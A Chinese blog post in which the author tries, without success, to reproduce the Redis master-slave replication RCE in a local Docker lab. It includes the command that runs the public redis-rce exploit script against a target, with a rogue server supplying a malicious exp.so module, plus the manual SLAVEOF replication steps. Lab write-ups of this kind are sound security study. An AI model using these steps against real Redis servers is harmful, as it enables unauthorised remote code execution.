美文网首页渗透测试
Redis 基于主从复制的 RCE 利用方式

Redis 基于主从复制的 RCE 利用方式

作者: 违规昵称不予展示 | 来源:发表于2019-07-16 10:18 被阅读0次

    失败了不看也罢:

    首先安装了一个Ubuntu的虚拟机,然后在虚拟机里安装了Docker
    安装虚拟机的方法就不多说了,安装Docker的方法见其官网https://docs.docker.com/install/linux/docker-ce/ubuntu/,英语不太好的同学可以使用翻译插件或用QQ浏览器自带的翻译插件(如果其他浏览器也行,请留言补充,google也行,但需要你...)
    Docker安装好了,就去安装两台Redis5.0的数据库
    sudo docker search redis5.0 搜索redis


    sudo docker pull damonevking/redis5.0 拉取第三个基础镜像

    sudo docker run -p 6379:6379 -d damonevking/redis5.0 redis-server映射端口并运行容器
    -p, --publish ip:[hostPort]:containerPort | [hostPort:]containerPort
              Publish a container's port, or range of ports, to the host.
              将容器的端口或端口范围发布到主机。
    这是-p参数的用法,
    -d应该就是指定镜像了,不过我没找到😂
    

    访问:你的ip:6379,如下图则搭建成功

    然后再搭建一个,把主机端口16379映射到docker的6379上去
    sudo docker run -p 16379:6379 -d damonevking/redis5.0 redis-server


    看一下最简单的直接利用别人脚本的方式,这个我失败了

    git clone https://github.com/Ridter/redis-rce.git去github上下载一个利用脚本
    https://github.com/n0b0dyCN/redis-rogue-server下载一个so文件,然后放到redis-rce目录下


    但是好尴尬,这个脚本不支持改端口啊
        241parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
        242     parser.add_argument("-p", "--rport", dest="rport", type=int,
        243                         help="target redis port, default 6379", default=6379)
        244     parser.add_argument("-L", "--lhost", dest="lhost", type=str,
        245                         help="rogue server ip", required=True)
        246     parser.add_argument("-P", "--lport", dest="lport", type=int,
        247                         help="rogue server listen port, default 21000", default=21000)
        248     parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp_lin.so')
        249     parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
        250     parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False)
        251     options = parser.parse_args()
    
    

    看了一下源码,好吧可以指定端口,原来是我的姿势不对
    我关机重启了,不记得镜像名称了啊,->查看你有哪些镜像的命令为sudo docker images
    好像不需要开两个镜像,用代码的话,一个目标redis就好了
    python3 redis-rce.py -r 172.17.0.2 -L 127.0.0.1 -f exp.so自己改ip地址


    但我不成功啊

    再换个别人的脚本,然后还是不行啊,这都是最后一步了啊,为啥不行啊

    用tcpdump可以看到,确实把exp.so写进去了啊
    难受

    开始手动的方法吧

    这次需要两台redis了,按照前面的方法,开两台redis吧。


    杀死docker进程的命令为sudo docker kill xxxxxxxxx为sudo docker ps命令列出来进程序号,只需要输入前几位就行
    好了,先下载一个redis的客户端
    sudo apt install redis-tools
    然后连接上16379那台,作为从机
    sanqiushu@sanqiushu-VirtualBox:~/redis-rogue-server-master$ redis-cli -p 16379
    127.0.0.1:16379> SLAVEOF 127.0.0.1 6379
    OK
    

    出现了,不行怪,别人可以我不行,主redis set一个值,从redis get不到,难受
    经过一番折腾,发现了,SLAVEOF这个ip有问题,要写docker容器的ip
    如何查看docker容器的ip见https://blog.csdn.net/sannerlittle/article/details/77063800

    127.0.0.1:16379> SLAVEOF 172.17.0.2 6379
    OK
    127.0.0.1:16379> get hi
    "hi"
    127.0.0.1:16379> 
    

    终于好了,也许上面那个用别人代码不行也是这个原因吧
    如果我们想解除主从关系可以执行SLAVEOF NO ONE
    又试了一下别人代码


    这是抓包看到的,这都是啥啊,崩溃啦,还是不行啊
    继续手动吧
    或许是我的redis没有这几个命令吧,
    那进入docker容器,看看能不能安装个命令吧
    以下为搜集到的资料,但没有实践


    感谢以下前辈:
    如何进入Docker容器 https://blog.csdn.net/u010397369/article/details/41045251
    Redis Modules: an introduction to the API https://redis.io/topics/modules-intro
    Redis基于主从复制的RCE 4.x/5.x 复现https://www.cnblogs.com/paperpen/p/11178751.html
    浅析Redis中SSRF的利用 https://xz.aliyun.com/t/5665

    相关文章

      网友评论

        本文标题:Redis 基于主从复制的 RCE 利用方式

        本文链接:https://www.haomeiwen.com/subject/tdsgkctx.html